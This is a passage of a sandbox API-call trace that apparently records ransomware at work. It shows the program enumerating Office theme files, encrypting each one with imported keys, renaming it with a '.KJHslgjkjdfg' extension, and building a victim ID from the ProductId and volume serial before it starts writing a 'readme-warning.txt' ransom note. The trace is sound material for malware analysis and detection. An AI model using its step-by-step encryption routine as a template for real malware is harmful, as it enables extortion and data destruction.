hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe750, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xe750, lpOverlapped=0x0) returned 1 [0147.296] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.296] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xe814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.296] SetEndOfFile (hFile=0x118) returned 1 [0147.299] GetProcessHeap () returned 0x2a0000 [0147.299] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.299] GetProcessHeap () returned 0x2a0000 [0147.299] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.kjhslgjkjdfg")) returned 1 [0147.299] CloseHandle (hObject=0x118) returned 1 [0147.300] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0147.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.301] GetProcessHeap () returned 0x2a0000 [0147.301] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.301] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.301] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.301] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0147.302] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.302] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.303] GetProcessHeap () returned 0x2a0000 [0147.303] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.303] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.303] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.303] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.303] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.303] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.303] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.303] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.303] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.303] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.303] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.303] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.303] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x215, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x215, lpOverlapped=0x0) returned 1 [0147.303] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x220, dwBufLen=0x220 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x220) returned 1 [0147.303] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.304] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x220, lpOverlapped=0x0) returned 1 [0147.304] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.304] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.304] SetEndOfFile (hFile=0x118) returned 1 [0147.306] GetProcessHeap () returned 0x2a0000 [0147.306] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.306] GetProcessHeap () returned 0x2a0000 [0147.306] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf.kjhslgjkjdfg")) returned 1 [0147.310] CloseHandle (hObject=0x118) returned 1 [0147.310] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.311] GetProcessHeap () returned 0x2a0000 [0147.311] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.311] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.311] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.311] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x5, lpOverlapped=0x0) returned 1 [0147.313] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.313] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.313] GetProcessHeap () returned 0x2a0000 [0147.313] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.313] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.313] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.313] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.313] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.313] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.313] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.314] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.314] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.314] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.314] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.314] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.314] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x67b, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x67b, lpOverlapped=0x0) returned 1 [0147.314] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x680, dwBufLen=0x680 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x680) returned 1 [0147.314] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.314] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x680, lpOverlapped=0x0) returned 1 [0147.314] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.314] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.314] SetEndOfFile (hFile=0x118) returned 1 [0147.317] GetProcessHeap () returned 0x2a0000 [0147.317] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.317] GetProcessHeap () returned 0x2a0000 [0147.317] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.317] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.kjhslgjkjdfg")) returned 1 [0147.319] CloseHandle (hObject=0x118) returned 1 [0147.320] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0147.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.322] GetProcessHeap () returned 0x2a0000 [0147.322] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.322] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.322] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.322] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0147.324] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.324] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.324] GetProcessHeap () returned 0x2a0000 [0147.324] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.325] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.325] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.325] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.325] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.325] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.325] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.325] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.325] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.325] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.325] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.325] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.325] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaf32, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xaf32, lpOverlapped=0x0) returned 1 [0147.327] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xaf40, dwBufLen=0xaf40 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xaf40) returned 1 [0147.327] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.328] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xaf40, lpOverlapped=0x0) returned 1 [0147.328] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.328] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xb014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.328] SetEndOfFile (hFile=0x118) returned 1 [0147.330] GetProcessHeap () returned 0x2a0000 [0147.330] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.330] GetProcessHeap () returned 0x2a0000 [0147.330] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.330] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.340] CloseHandle (hObject=0x118) returned 1 [0147.340] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.341] GetProcessHeap () returned 0x2a0000 [0147.341] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.341] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.341] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.341] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.341] GetProcessHeap () returned 0x2a0000 [0147.341] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.341] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.341] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.341] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.341] GetProcessHeap () returned 0x2a0000 [0147.341] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.341] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.341] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.341] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.341] GetProcessHeap () returned 0x2a0000 [0147.341] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.341] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.341] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.341] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.342] GetProcessHeap () returned 0x2a0000 [0147.342] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.342] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.342] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.342] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.342] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.342] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.342] RegCloseKey (hKey=0x118) returned 0x0 [0147.342] GetProcessHeap () returned 0x2a0000 [0147.342] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.342] GetProcessHeap () returned 0x2a0000 [0147.342] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.342] GetProcessHeap () returned 0x2a0000 [0147.342] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.342] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.342] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.342] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.342] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.343] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.343] GetProcessHeap () returned 0x2a0000 [0147.343] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.343] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.343] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.343] GetProcessHeap () returned 0x2a0000 [0147.343] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.343] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\readme-warning.txt") returned 81 [0147.343] CreateFileW 